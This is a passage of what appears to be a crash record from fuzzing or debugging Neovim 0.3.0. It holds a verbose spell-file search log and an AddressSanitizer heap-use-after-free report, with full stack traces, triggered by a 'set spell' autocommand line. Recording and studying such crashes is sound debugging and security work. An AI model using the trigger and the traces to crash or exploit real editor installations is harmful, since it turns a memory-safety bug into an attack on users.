\"/usr/local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.utf-8.spl\"\nnot found in 'runtimepath': \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.ascii.spl\"\nnot found in 'runtimepath': \"spell/0.ascii.spl\"\nExecuting SpellFileMissing Auto commands for \"0\"\nautocommand bw\n\nline 0: bw\n\nline 0: unlet! b:keymap_name\n\nSearching for \"spell/0.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.utf-8.spl\"\nnot found in 'runtimepath': \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.ascii.spl\"\nnot found in 'runtimepath': \"spell/0.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('0')|set spell\n=================================================================\n==67991==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600000bc58 at pc 0x000000b0e06d bp 0x7ffdaec9c1b0 sp 0x7ffdaec9c1a8\nREAD of size 8 at 0x62600000bc58 thread T0\n    #0 0xb0e06c in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3199:26\n    #1 0xaf54c7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1785:22\n    #2 0x832204 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9795:9\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #6 0x70543c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6861:3\n    #7 0x677da5 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6373:11\n    #8 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #9 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #13 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #14 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #18 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #19 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #20 0x7f9fc9fc9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x62600000bc58 is located 11096 bytes inside of 11248-byte region [0x626000009100,0x62600000bcf0)\nfreed by thread T0 here:\n    #0 0x4c721d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c721d)\n    #1 0x9db384 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:133:3\n    #2 0x8cb853 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6973:7\n    #3 0x8afffd in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6576:10\n    #4 0xcd8407 in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1609:14\n    #5 0xcd65cc in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2070:9\n    #6 0xb24332 in did_set_spell_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3556:18\n    #7 0xb0a232 in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2919:14\n    #8 0xaf54c7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1785:22\n    #9 0x832204 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9795:9\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #13 0x70543c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6861:3\n    #14 0x677da5 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6373:11\n    #15 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #16 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #17 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #18 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #19 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #20 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #21 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #22 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #23 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #24 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #25 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #26 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #27 0x7f9fc9fc9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4c7612 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c7612)\n    #1 0x9db41e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:147:15\n    #2 0x5c2fb6 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1652:11\n    #3 0x5cd7b6 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2662:9\n    #4 0x80c652 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6546:7\n    #5 0x80c4a0 in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6517:7\n    #6 0x7d2af7 in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1687:7\n    #7 0x7d05c5 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1911:11\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #18 0x7f9fc9fc9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3199:26 in did_set_string_option\nShadow bytes around the buggy address:\n  0x0c4c7fff9730: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9740: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9750: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9760: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff9770: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff9780: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd\n  0x0c4c7fff9790: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa\n  0x0c4c7fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff97d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==67991==ABORTING", "creation_timestamp": "2026-09-20T13:35:18.524924Z"}